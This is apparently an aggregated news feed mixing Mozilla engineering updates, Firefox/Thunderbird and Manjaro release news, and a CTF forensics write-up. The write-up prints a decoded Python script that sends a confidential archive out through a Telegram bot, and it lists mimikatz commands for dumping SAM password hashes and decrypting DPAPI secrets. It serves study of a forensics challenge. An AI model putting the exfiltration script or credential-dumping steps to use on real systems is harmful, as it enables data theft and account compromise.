• Xavier L’Hour added a new shortcut button to the bug page that allows users to quickly move spam bugs to the Invalid Bugs product (1684509).

Build System and Mach Environment

• Alex Hochheiden has been moving build system logic out of make to pave the way for a new build system backend (coming soon). See Bug 2038789.

• Alex Hochheiden landed a 30%-50% (platform dependent) speedup for mach startup. See Bug 1775197.

• Alex Hochheiden sped up subsequent configure runs by ~10s by adding caching to the mach taskgraph toolchain step. See Bug 2017746.

• Alex Hochheiden reduced mach test startup overhead on Windows by 75%. See Bug 2018327.

• Alex Hochheiden has achieved significant code deduplication and simplification by consolidating the Android Gradle configuration into convention plugins. There were also various Gradle configure-cache improvements. See Bug 2007013, Bug 1950099, Bug 2013417, Bug 2017752, and Bug 2017753.

Firefox-CI

• Julien Cristau added support for interactive tasks (aka one click loaners) on Windows and macOS

• Andrew Halberstadt implemented mach try support with Github, being used in mozilla/enterprise-firefox-try and coming to Firefox soon.

• Andrew Halberstadt implemented the machinery to start making Gecko CI tasks clone from Github.

• Ryan Curran brought Firefox CI’s Apple Silicon VM infrastructure into production. Building on the MacOS CI image pipeline established last year, he migrated test suites onto virtual machines and grew the macosx1500-aarch64-vms pool so Taskcluster now routes eligible jobs to VMs alongside physical hardware. This reduces reliance on physical Macs, increases CI capacity, and supports the ongoing migration off of older Intel-based macOS infrastructure

• Jonathan Moss migrated Firefox CI’s cloud-based Windows testing from Windows 11 24H2 to 25H2, moving the bulk of Firefox’s Windows test coverage to Microsoft’s latest platform and keeping CI aligned with the Windows version most commonly used by Firefox Desktop users

• Florian Quèze created many dashboards to help dig into Mochitests and XPCShell tests

• Ryan VanderMeulen landed a set of improvements to mach try chooser. The update adds an exclude filter, a clearer preview pane with removable job rows, an artifact-builds toggle, and a warning when a selection exceeds task-prioritization thresholds. It also fixes a bug where choosing Firefox for Android jobs would unintentionally clear selections for other platforms.

Lint, Static Analysis and Code Coverage

• Valentin Rigal and Bastien Abadie created a Code Review Bot prototype for publication of review comments using various source linters on Github

• Morgan Rae Reschenberg added support for accessibility review to Code Review Bot

Mozregression

• Zeid fixed a bug in mozregression-gui on macOS, where the camera and microphone capture request was getting rejected (released in 7.3.0). Thanks to bug report + tip from Andreas Pehrson.

PDF.js

• Calixte added about:pdf to use an entrypoint for opening and editing arbitrary PDF files[image]

• Calixte added support for playing videos/sounds embedded in PDF files

Phabricator , moz-phab, and Lando

• Connor Sheehan improved the uplift experience by leveraging Lando to manage the assessment forms, train selection, and automatic application, so conflicts are detected earlier. The number of uplifts via Lando has out-paced those via Moz-Phab, and sailed through the rise in uplift numbers (likely due to more sec-bugs getting fixed and uplifted).

• Zeid added support for private GitHub repositories in Lando, allowing security patches to be implemented in a private clone of a repo, and pushed to the public one.

• Olivier Mehani finalized support for using the new Lando instance for try-pushes. This brings a host of QoL improvements which weren’t backported to the old instance: better UTF-8 support, smarter conflict resolution and improved security and authentication. It is now processing about 1500 pushes / week (old Lando still processes about 50 / week).

• Magnolia Liu implemented automatic pushes to Try for uplift requests, for faster feedback in case of issues.

• Olivier Mehani added a view of a user’s current and recent jobs on the landing page of Lando when authenticated.

• Zeid identified and fixed the causes of some stability and reliability issues in Lando, which were causing increased downtime during deployments and on an ongoing basis.

• Olivier Mehani deployed a PoC of reviewer selection on the GitHub pilot, allowing Herald-like mechanisms to GitHub PRs.

• Olivier Mehani and Connor Sheehan (with Corey Bryant and Daniel Darnell) migrated the COMM project to GitHub https://github.com/thunderbird/thunderbird-desktop, sharing Firefox’s syncing model.

Release Management and Engineering

• Donal Meehan drove the Release Management team’s move to a weekly scheduled dot release cadence for Desktop and Android, starting with Firefox 151. This allows us to deliver fixes and approved uplifts to users faster and more predictably. This change is expected to reduce unplanned releases, improve release flexibility, and create a more consistent release rhythm across teams.

• Dianna Smith drove the update to the Release Management team’s Desktop major release rollout process, starting with Firefox 152. Instead of throttling to 0% on day 2, it will remain at 25% rollout for two days before moving to 100%, unless any issues arise. This should help us collect uptake and stability signals earlier while still allowing time to catch problems before full rollout.

• Pascal Chevrel completed the update to the dictionaries shipped with Firefox Desktop. The update added eleven new dictionaries, covering Croatian, English (UK), Georgian, Persian, Slovenian, Tajik, Tamil, Tibetan, Turkish, Welsh, and Xhosa, and refreshed nine others. This expanded the number of locales with a built-in spellchecker from 30 to 41 beginning in Firefox 152. Special thanks to Francesco Lodolo, Bryan Olsson, and the localization community for reviewing the patches and helping assess the quality of the dictionaries.

• Pascal Chevrel delivered a range of improvements to WhatTrainIsItNow, including expanded it to cover weekly dot releases and ESR planned dot releases, added new uplift views including a dot-release uplifts page and a beta uplift graph, and published new APIs that surface train-selection and uplift guidance inside Lando. He also made performance improvements and a steady stream of fixes across the site.

• At Pwn2Own 2026, Firefox came through with no successful exploits, thanks to preparation across many teams and individuals. Within Release Management, Ryan VanderMeulen drove pre-event patch readiness and Dianna Smith coordinated the releases during the event, including the 150.0.3 dot release, which mitigated the root cause behind several of the contest entries.

• Dianna Smith built out release-health monitoring and alerting in Bigeye, giving Release Management a growing set of automated alerts that surface data anomalies earlier to aid in release health and regression detection. To make the capability easy to extend, she also created a guide for other teams to add monitoring and alerts for the areas they know best. Teams that want an earlier signal on their own metrics are encouraged to use the guide and help grow the coverage.

Release Operations

• Ryan Curran built Hangar, a live dashboard for monitoring Firefox CI’s worker pools. It consolidates fleet data from several systems into one view, giving Release Operations a single place to check fleet health and catch problems such as missing or quarantined workers early.

• Ryan Curran created the iOS version of BuildWatch, and Andrew Erickson ported it to Android. BuildWatch lets you monitor Firefox CI try pushes from your phone, including live per-platform build status, failure summaries, and one-tap retriggers. It uses only public APIs, so no VPN is required.

• Andrew Erickson and Mark Cornmesser developed Fleetbench, a tool for benchmarking Firefox CI workers. It currently measures CPU and ADB/USB I/O performance, helping Release Operations identify slow or outlier hosts before they skew performance test results such as Speedometer and trigger noisy or false regressions.

• Andrew Erickson built Pool Classifier, a web app for viewing per-worker success rates across Taskcluster worker pools. It classifies newly completed tasks every 15 minutes, giving Release Operations a continuously updated view of worker health and helping surface problematic workers proactively.

• Andrew Erickson created Fleetroll, a command-line tool Release Operations uses to manage and monitor long-running Linux, macOS, and Windows hardware hosts in Firefox CI Taskcluster. It deploys Puppet branch overrides and Vault secrets, audits what is actually applied, and surfaces each host’s Puppet and Taskcluster state in a live dashboard.

• Mark Cornmesser built out a set of new worker-metrics dashboards in Yardstick, giving Release Operations clearer real-time visibility into the health of the Firefox CI hardware fleet. These include Linux worker status, Windows worker CPU and disk metrics, and a Windows job pickup and wait timeline, with alerting on key thresholds. The full set lives in the FXCI Hardware Workers folder in Yardstick.

• Jonathan Moss expanded cloud cost reporting in Looker, adding Azure support alongside the existing GCP data and a cloud-provider filter on the FXCI task overview dashboard. The team can now break down Firefox CI compute costs by cloud provider, making it easier to track and compare spend across Azure and GCP.

Taskcluster

• Yaraslau Kurmyza added Azure fast deprovision taskcluster#8790 and concurrency taskcluster#8815 to improve worker scanner performance. This shows ~2x-4x scan time improvements already.

• Contributor nitishagar and Yaraslau Kurmyza added patches taskcluster#8514, taskcluster#8784 to support compression in Taskcluster services API and Yarik worked with Fastly to resolve broken brotli support on the WAF edge side. Now services transmit significantly less data.

• Yarik added a dedicated service account to log with read only permissions webservices-infra#11197. This allows tc-logview to be used safely by untrusted agents inside containers with narrow short-lived access tokens.

• Yarik published queue forecasting dashboard experiments that continuously collects task events and trains models to enable and improve predictions on a task level (how long will it run, and when will it start). With future plans including extending it to the whole task group (mach try)

Treeherder

• Florian Quèze added treeherder#9540 “Show task group profile” item to the push action menu

• Cameron Dawson, juungo and moijes12 implemented various Treeherder API performance improvements

• Heitor Neiva added Git branch labels to pushes in Treeherder

• Andrew Halberstadt implemented the ability for Treeherder to display multiple Git branches at once, enabling support for “try like” repositories in Github

Version Control

• Upgrade hg.mozilla.org to Mercurial 7.2.2

• Created the mozilla-esr153 and comm-esr153 repositories.

Other

• Sylvestre converted our documentation from reStructuredText to MyST flavored Markdown

Thanks for reading and see you next quarter!

1 post - 1 participant

Read full topic

The post Desktop settings research: what we learned from your feedback appeared first on The Thunderbird Blog.

A quick overview of the insights gathered from interviewing 10 users about how they manage preferences and configurations in Thunderbird desktop. Aly shares the key challenges based on user feedback and design opportunities to guide our next phase of work.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Das Entwicklerteam hinter Mozilla Thunderbird hat einige Änderungen an seinen kommenden Abomodellen angekündigt. Wie der Kollege Sören Hentzschel in seinem Blog berichtet, werden die diversen Zusatzdienste künftig unter dem Namen Thundermail gebündelt, womit der Name des Maildienstes nun für alle Services gelten wird. Due Umbenennung von Thunderbird Pro geht auf direktes Nutzerfeedback zurück und soll […]

Der Beitrag Thunderbird: MZLA bündelt Abomodelle unter neuem Namen und mehr erschien zuerst auf Dr. Windows.

Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of July. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.

Current Promotions

• Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
• Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

• Manjaro 26.1 Bian-May - Preview released
• Manjaro 26.0 Anh-Linh released
• Manjaro Summit public Alpha now available
• As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
• As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.

Notable Package Updates

• Kernels got updated
  • linux70 series is now marked EOL
  • linux-firmware 20260622
  • slight toolchain update
  • we dropped NVIDIA driver series 570xx and 575xx
• Firefox 152.0.4
• Thunderbird 152.0
• Virtualbox 7.2.12
• Godot 4.7
• Pipewire 1.6.7
• Systemd 261.1
• COSMIC Epoch 1.2.0
• KDE Gear 26.04.3
• QEmu 11.0.2

Additional Info

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

• linux61 6.1.176
• linux66 6.6.143
• linux612 6.12.94
• linux618 6.18.37
• linux70 7.0.14
• linux71 7.1.2
• linux72 7.2.0-rc1
• linux61-rt 6.1.167_rt62
• linux66-rt 6.6.135_rt74
• linux612-rt 6.12.89_rt18

Package Changes (7/4/26 08:10 CEST)

• testing core x86_64: 89 new and 88 removed package(s)
• testing multilib x86_64: 50 new and 50 removed package(s)
• testing extra x86_64: 3447 new and 3452 removed package(s)

Overlay Changes

• testing core x86_64: 25 new and 26 removed package(s)
• testing multilib x86_64: 6 new and 10 removed package(s)
• testing extra x86_64: 260 new and 403 removed package(s)

A list of all package changes can be found here.

Click to view the poll.

Check if your mirror has already synced:

• Mirror-Check Service

3 posts - 2 participants

Read full topic

Welcome to an exciting update about Thundermail, Thunderbird's email service. In this edition, Heather and Monica welcome Sr. Software Engineer Mark Stosberg and Sr. Software Engineer Chris Aquino from the Web Services Team as well as Marketing Manager Brian Offredi. We’re discussing the recent updates to the Thundermail service. Learn how this product is developing and discover future plans.

Resources:
Thundermail support: https://support.tb.pro
Thundermail suggestions and ideas: https://ideas.tb.pro/
Thundermail update blogpost: https://blog.thunderbird.net/2026/06/thundermail-june-2026-update-what-we-learned-after-the-first-few-waves-of-invites/
Services roadmap: https://roadmaps.thunderbird.net/en-US/services/

• Mozilla Firefox is a web browser used to access the Internet.
• Thunderbird is a free, open-source email, calendar, and chat application.

Successful exploitation of the most severe of these vulnerabilities could allow for arbitrary code execution. Depending on the privileges associated with the user an attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than those who operate with administrative user rights.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

In diesem Video zeigt Jean, wie man Zorin OS parallel zu Windows installiert und so optimal mit Linux durchstarten kann.
Wenn Du das Video unterstützen willst, dann gib bitte eine Bewertung ab, und schreibe einen Kommentar. Vielen Dank!

Links:
-------------------------------------
Falls sich die Windows-Partition nicht ausreichend verkleinern lässt, liegt dies oft an der Auslagerungsdatei. Hilfe dazu findet man z.B. in verschiedenen Foren: https://forum.linuxguides.de/index.php?thread/10697-windows-partition-l%C3%A4sst-sich-nicht-verkleinern/

- ZorinOS herunterladen: https://zorin.com/os/download/
- https://rufus.ie/de/
- ehrenamtliche Hilfe durch die Linux Helden: https://www.linuxguides.de/linux-helden-karte/
- Du suchst eine gute Cloud Lösung? https://www.libre-workspace.org/cloud/
- Linux Assistant: https://www.linux-assistant.org/

Videoempfehlungen:
- Alles zur Firewall: https://youtu.be/gSq1W3qfKBs
- LibreOffice Writer einrichten wie Microsoft Word: https://youtu.be/Hms467GhynE
- Crashkurs zu Writer (Word Alternative): https://youtu.be/QyakKLNv7Yg
- Crashkurs zu Calc (Excel Alternative): https://youtu.be/ioAxN27CIUA
- Thunderbird Tutorial (Mailclient): https://youtu.be/eAgCsvQV7ZE
- Windows in einer Box: https://youtu.be/CAditqMhYrA

- Linux-Guides Merch*: https://linux-guides.myspreadshop.de/
- Professioneller Linux Support*: https://www.linuxguides.de/linux-support/
- Linux-Arbeitsplatz für KMU & Einzelpersonen*: https://www.linuxguides.de/linux-arbeitsplatz/
- Linux Mint Kurs für Anwender*: https://www.linuxguides.de/kurs-linux-mint-fur-anwender/
- Offizielle Webseite: https://www.linuxguides.de
- Forum: https://forum.linuxguides.de/
- Unterstützen: http://unterstuetzen.linuxguides.de
- Mastodon: https://mastodon.social/@LinuxGuides
- X: https://twitter.com/LinuxGuides
- Instagram: https://www.instagram.com/linuxguides/
- Kontakt: https://www.linuxguides.de/kontakt/

Inhaltsverzeichnis:
-------------------------------------
00:00 Begrüßung
00:44 ZorinOS und Rufus herunterladen
02:19 Festplattenkonfiguration ändern
03:41 Abbild auf USB-Stick erstellen
07:10 Hilfe durch Linux Helden
08:33 Vom USB-Stick starten
09:55 Installation
14:14 Willkommensbildschirm
17:48 Treiber, Firewall
20:15 Software installieren
26:20 Einstellungen
30:12 Dateimanager
32:36 Finale Hinweise
37:55 Verabschiedung

Haftungsausschluss:
-------------------------------------
Das Video dient lediglich zu Informationszwecken. Wir übernehmen keinerlei Haftung für in diesem Video gezeigte und / oder erklärte Handlungen. Es entsteht in keinem Moment Anspruch auf Schadensersatz oder ähnliches.

*) Werbung

#linuxguides #zorinos #linux #opensource

The post Thunderbird Monthly Development Digest: June 2026 appeared first on The Thunderbird Blog.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

The post Thundermail June 2026 update: what we learned after the first few waves of invites appeared first on The Thunderbird Blog.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Thunderbird 152 konzentriert sich auf zahlreiche Fehlerkorrekturen und kleinere Verbesserungen. Neue Funktionen fallen zwar überschaubar aus, sollen aber die Einrichtung von Konten vereinfachen und die Sicherheit erhöhen. Darüber hinaus behebt Mozilla mehrere Sicherheitslücken, darunter 12 als hochkritisch markierte.

Die neue Firefox-Version 152 für Windows, macOS, Linux und Android bringt einige Verbesserungen bei der Benutzung und einen neuen Look für die Einstellungen. Nutzer des integrierten Gratis-VPN können von einer Sommeraktion profitieren. Die Entwickler haben mehr als 40 Schwachstellen behoben. Updates gibt es auch für die ESR-Versionen.

Im Sicherheitsbericht MFSA2026-57 für Firefox 152 nennt Mozilla über 40 beseitigte Sicherheitslücken, von denen 37 durch externe Sicherheitsforscher entdeckt und gemeldet wurden. Darunter sind 11 Schwachstellen, die Mozilla als hohes Risiko einstuft. Bei vier dieser Lücken drohen Ausbrüche aus der Browser-Sandbox.

▶Die neuesten Sicherheits-Updates

Weitere 17 Schwachstellen sind als mittleres Risiko ausgewiesen, der Rest als geringes Risiko. Die drei letzten Einträge im Sicherheitsbericht fassen intern gefundene Sicherheitslücken zusammen, die aus Programmierfehlern bei der Speicherverwaltung resultieren. Die Lücken sind danach gruppiert, welche Programme und Programmversionen betroffen sind.

Was ist neu in Firefox 152?

Das mit Firefox 149 eingeführte und in Firefox integrierte Gratis-VPN bietet über den Sommer eine vorübergehend auf 28 Länder erweiterte Auswahl virtueller Standorte. Das kostenlose VPN ist derzeit nur für Firefox-Nutzer in den USA, Kanada, Großbritannien, Frankreich und Deutschland verfügbar. Es gilt noch als Beta-Version und wird schrittweise freigeschaltet.

Die seit Firefox 151 überarbeitete „Neuer-Tab“-Seite hat inzwischen die angekündigten neuen Hintergrundbilder und neuen Funktionen erhalten, namentlich sechs Widgets wie das Sport-Widget zur Fußball-WM.

fz

In privaten Browser-Fenstern können Sie nun die Tracker-Blockade vorübergehend abschalten, wenn die aktuelle Seite nicht richtig funktioniert. Sie können die Adressleiste benutzen, um mit einer sogenannten Schnellaktion jeden Tab in jedem Firefox-Fenster stummzuschalten. Dazu tippen Sie zum Beispiel „Psst“ ein – und es ist Ruhe.

Die Einstellungen kommen mit einer dezent neugestalteten Oberfläche, die Teilbereiche mit Umrahmungen klarer strukturiert. Im Testlabor Firefox Labs wartet neben den schon bekannten Tab-Notizen die experimentelle Unterstützung für das neue Bilddateiformat JPEG XL (JXL).

Tipp: Unabhängig davon, dass Sie Ihren Browser stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Weitere Browser-Updates

Neben Firefox 152.0 sind auch die ESR-Ausgaben 140.12.0 und 115.37.0 erhältlich. Letztere gibt es allerdings nur für Windows 7 & 8.1 sowie macOS 10.12 bis 10.14. In den ESR-Versionen haben Mozillas Entwickler diejenigen der oben genannten Schwachstellen behoben, die schon im teils gut abgehangenen Code dieser Browser-Generationen stecken. Das sind nicht wenige: In Firefox 140.12 sind es mindestens 29 und in Firefox 115.37 immerhin noch wenigstens 11 geschlossene Sicherheitslücken. Firefox ESR 115 wird vorerst bis August 2026 (v115.39) weiter mit Sicherheits-Updates gepflegt.

Auch Mozillas Mailer Thunderbird 152.0 und 140.12.0esr sind verfügbar. Darin haben die Entwickler ebenfalls Dutzende Sicherheitslücken beseitigt, die das Mail-Programm von Firefox geerbt hat. Bis zur Veröffentlichung der nächsten Hauptversion Firefox 153 am 21. Juli plant Mozilla wöchentliche Updates zur Fehlerbehebung und um weitere Schwachstellen zu beseitigen.

MZLA Technologies haben sie für Thunderbird bereits gebracht, nun führt auch die Mozilla Corporation für Firefox eine neue Roadmap ein, wo man sich über die entsprechenden Pläne für die nächsten Monate informieren kann. Mit Firefox Nova als neuem Design ist die größte Änderung, die im Herbst kommen wird, für dieses Jahr bereits klar, aber auch […]

Der Beitrag Firefox: Mozilla führt neue Roadmap für seinen Browser ein erschien zuerst auf Dr. Windows.

• Mozilla Firefox is a web browser used to access the Internet.
• Mozilla Firefox ESR is a version of the web browser intended to be deployed in large organizations.
• Thunderbird is a free, open-source email, calendar, and chat application.

Successful exploitation of the most severe of these vulnerabilities could allow for arbitrary code execution. Depending on the privileges associated with the user an attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than those who operate with administrative user rights.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

The post Mobile Progress Report: June 2026 appeared first on The Thunderbird Blog.

Hi, I’m glad to share with you my writeup for getting first blood in 2/2 DFIR challenges.

First Challenge: “the Frontdoor” FIRST BLOOD🩸

in this challenge, we have a linux disk image, we need to investigate it to get the correct answer. reading the bash history or “.zsh_history” we can view that there’s a lot of file navigations commands, and Git activity in “MyProject” which located in /home/Documents.

also, while i was digging around all linux files, i found an xml file “recently-used.xml” located in “/home/kali/.local/share/recently-used.xml”. this xml tracks that he opened /home/kali/Documents/MyProject/.git/config file using Mousepad and Thunar “kali linux gui”.

so, configfile will be first file to check in MyProjectdirectory

we can see there’s a beautiful base64 encoded that contains our flag:

IEEE{192.168.213.68:3421}

Second Challenge: “Lay-off” FIRST BLOOD🩸

this one was so challenging, we got 14 questions that needs to be answered correctly to get our very precious flag

=== Question Menu ===
Unanswered:
  1) What is the full name of the employee who sent the email?
  2) When was QR Tag company founded? (format: year)
  3) What website did the developer log into at 2025-09-18 17:56:51?
  4) what was the first thing the developer looked for after receiving the email?
  5) The developer created a compressed archive to leak confidential information about QR Tag company. What was it's name?
  6) Can you determine the number of files have been leaked?
  7) When did this archive get deleted?
  8) The developer contacted some buyers on telegram dark markets to sell some of QR Tag's confidential information. What utility did he use to send the data?
  9) What is the bot token and chat id used in the script? (format: bot_token:chat_id)
  10) Which telegram API did the developer use to send the archive to the bot?
  11) What is the username and password of the database used in QR Tag website? (format: username:password)
  12) What version of express did the developer use?
  13) What service will the QR Tag partnership provide?
  14) The developer used a security feature to securely encrypt a secret file. Can you determine what he was trying to hide?

we have a windows disk image, and an email :

1) What is the full name of the employee who sent the email?

open the email with thunderbird, you'll find the correct answer easily:

1) What is the full name of the employee who sent the email? --> Huda Ahmed

2) When was QR Tag company founded? (format: year)

with an online research on linkedin, we'll find in image with same name located in Egypt, Ismailia.

2) When was QR Tag company founded? (format: year) --> 2024

3) What website did the developer log into at 2025-09-18 17:56:51?

“log into” , by checking the Microsoft edge History database, which located in: C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\<Profile>\History

in urls table, sort them by time and go to the following website to decode the time:

WebKit/Chrome Timestamp Converter

3) What website did the developer log into at 2025-09-18 17:56:51?
   Answer: www.qrtagapp.com

4) what was the first thing the developer looked for after receiving the email?

using thunderbird, open the email with message source, or open the email with any text editor:

so, the correct time must be “2025–09–19 00:08:59” in GMT +3

now let’s find anything intresting, but in the history database of firefox, located in: C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile folder>\places.sqlite

you'll find that, the most recent search after the email was send was all these searches in “moz_places” table:

4) what was the first thing the developer looked for after receiving the email?
   
   Answer: telegram leaks channels

5) The developer created a compressed archive to leak confidential information about QR Tag company. What was it's name?

this was a little dizzy, but what i did was parsing the prefetch files with PECMD here, and see if there any zip, rar, 7z, gz and so on.

And yes, i found the prefetch data for using 7z.exe:

now let’s check for all files referenced, we can see a 7z file located on MHANY’s desktop:

5) The developer created a compressed archive to leak confidential information about QR Tag company. What was it's name?
   CONFIDENTIAL.7Z

6) Can you determine the number of files have been leaked?

that’s so simple, in the prefetch we did parse we can view all files that was compressed and have been leaked:

just count all files below CONFIDENTIAL.7Z file:

6) Can you determine the number of files have been leaked? --> 11

7) When did this archive get deleted?

parsing the $J file with MFTECMD here, which located inC:\$Extend\$J
to see all File creation, deletion, renaming timestamps.

we got the deleted timestamp correctly, 9/19/2025 8:05:17 AM GMT 0.

convert it to the correct format for the flag answer, and add 3 hours to become GMT +3 as the Local Egyptian Time, then subtract 1 sec.

7) When did this archive get deleted?
   Answer: 2025-09-19 11:05:16

8) The developer contacted some buyers on telegram dark markets to sell some of QR Tag's confidential information. What utility did he use to send the data?

this question needs deep investigation, and a good eyesight to catch malicious scripts. found a python file in temp called botscript.py full path: C:\Users\mhany\AppData\Local\temp\botscript.py that contains a too long base64 encoded string:

it’s not just encoded, it’s reversed. And that’s because of this:

b64decode(__[::-1]);

so let's reverse it first, and decode the base64 here

import requests

I1lI11llIIl1 = "8225327010:AAErxtchORepKDCJepnwWkbKPbRf_FBketw"
1Ill1IIl11 = "5321402519"
l1II1ll1II = r'C:\Users\mhany\Desktop\Confidential.7z'
url = f"https://api.telegram.org/bot{I1lI11llIIl1}/sendDocument"

with open(l1II1ll1II, "rb") as f:
    response = requests.post(url, data={"chat_id": 1Ill1IIl11}, files={"document": f})

if response.status_code == 200:
    print("File sent successfully")
else:
    print("Error:", response.text)

so, he sends the data over telegram bot using a python script

8) The developer contacted some buyers on telegram dark markets to sell some of QR Tag's confidential information. What utility did he use to send the data?
   Answer: python

9) What is the bot token and chat id used in the script? (format: bot_token:chat_id)
10) Which telegram API did the developer use to send the archive to the bot?

from the decoded base64 text we can answer these 2 questions easily

import requests

I1lI11llIIl1 = "8225327010:AAErxtchORepKDCJepnwWkbKPbRf_FBketw"
1Ill1IIl11 = "5321402519"
l1II1ll1II = r'C:\Users\mhany\Desktop\Confidential.7z'
url = f"https://api.telegram.org/bot{I1lI11llIIl1}/sendDocument"

with open(l1II1ll1II, "rb") as f:
    response = requests.post(url, data={"chat_id": 1Ill1IIl11}, files={"document": f})

if response.status_code == 200:
    print("File sent successfully")
else:
    print("Error:", response.text)

simple python script. Read, Understand, Answer.

9) What is the bot token and chat id used in the script? (format: bot_token:chat_id)
Answer: 8225327010:AAErxtchORepKDCJepnwWkbKPbRf_FBketw:5321402519

10) Which telegram API did the developer use to send the archive to the bot?
Answer: /sendDocument

11) What is the username and password of the database used in QR Tag website? (format: username:password)

since he is asking for the username, and password for the QR Tag website.

we can see there’s QRTag Portaldirectory on mhany’s desktop, that contains 2 other subdirectories (Backend &Frontend). checking the Backend directory, we can find .envfile with absolute path: C:\Users\mhany\Desktop\Work\QR Tag\QRTag Portal\Backend\.env

11) What is the username and password of the database used in QR Tag website? (format: username:password)
Answer: H4ny:P@ssw0rd!

12) What version of express did the developer use?

In the same Backend directoryC:\Users\mhany\Desktop\Work\QR Tag\QRTag Portal\Backend we'll find package.json file that holds the correct answer

12) What version of express did the developer use?
Answer: 4.19.2

13) What service will the QR Tag partnership provide?

checking the Docs directory which located in: C:\Users\mhany\Desktop\Work\QR Tag\Docs\ we can see there’s a pdf file calledpartnership_agreement.pdf “partnership”

13) What service will the QR Tag partnership provide?
Answer: identity verification and fraud prevention

14) The developer used a security feature to securely encrypt a secret file. Can you determine what he was trying to hide?

Now, for the last juicy part.

in question 13, we could answer it with PDF file located in C:\Users\mhany\Desktop\Work\QR Tag\Docs\ directory.

So, while i was checking all other documents files, i found a file called finance.xlsx with a very strange magic bytes:

of course, it’s not the traditional hex values for an excel file. to be more clearer, there’s an another excel file called user_accounts.xlsx

See the difference!!!! finance.xlsx is definitely not an excel sheet file.

So, the question now, what it is actually ?

and the question says “The developer used a security feature to securely encrypt a secret file”.

so this file is encrypted with a windows security feature i guess!!

if we did a quick research on the magic bytes on google 01 00 00 00 D0 8C, we can definitely get to the point.

also i did a very weird research, i uploaded the excel file on VirusTotal link (first one to upload this file) and by reading Details section, we can definitely make sure that this file contains DPAPI encrypted data (100%)

1. we need to recover the DPAPI masterky to decrypt the file data.

2. and to do recover the DPAPI masterkey, we need to decrypt the masterkey file. location: C\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>

3. and to decrypt the masterkey file, we need to recover the logon password for the user “mhany”

4. and to recover the logon password for this user, we need to decrypt SAM registry hive that contains the local account password hashes.

5. and to decrypt the SAM registry hive, we will need also theSYSTEMhive
which both are located in : C\Windows\System32\config\ directory

now we know what to do, let’s dig in using mimikatz “link”. running mimikatx .exe file with administrative powershell, then use these commands

privilege::debug  #Enables mimikatz to read protected data.

lsadump::sam /system:<SYSTEM Hive path>/sam:<SAM Hive path>  

reading the output, remember we are looking for NTLM hash for mhanyuser only

using rainbow-table attack with crackstation we can get the actual password for this hash

now we get the logon password, let’s recover the master key by decrypting the masterkey file. with mimikatz again, we can use these commands

sekurlsa::lgonpasswords   # Because we already have the logon password

dpapi::masterkey /in:"path to: C\Users\mhany\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>" /password:"credentials"

now we can get the decrypted master key in hex.

final step, is to finally decrypt the encrypted finance.xlsx file with the key

dpapi::blob /in:"path to C:\Users\mhany\Desktop\Work\QR Tag\Docs\finance.xlsx" /masterkey:"d96486156b7651c31945791790941b62f180d198c06966e7e9568d594375c760cf528e6bf55a3bd6dc1bec079b38cbb569a222444ffce861b71a61330ddd1"

lets decode this encoded base64 data with cyberchef “link”

14) The developer used a security feature to securely encrypt a secret file. Can you determine what he was trying to hide?
Answer: us1ng_m4st3r_k3y_t0_d3crypt_DPAPI_encrypt3d_s3cr3ts

now we can submit all answers and get the flag

IEEE{Ins1d3r_Thr34t_0r_Just_A_Mad_Dev3l0per}

Thanks For Reading, Hope you enjoyed❤️

Keep in touch with me via:

LinkedIn

Discord: prankster99

IEEE Victoris 4.0 — CTF 2025 — Quals DFIR Challenges was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Das mit Firefox 149 eingeführte und in den Browser integrierte Gratis-VPN bietet ab sofort die Wahl zwischen mehr virtuellen Standorten als den bisherigen fünf. Das nutzbare Datenvolumen ist nun unbegrenzt statt auf 50 GB pro Monat beschränkt (Tipp: Hier stellen wir die besten VPN-Anbieter vor). Das gilt allerdings nur für diesen Sommer. Außerdem bietet Firefox Widgets und zur Fußball-WM passende Tapeten für Startseite. Das gibt es alles, ohne dass Sie ein Update installieren müssen.

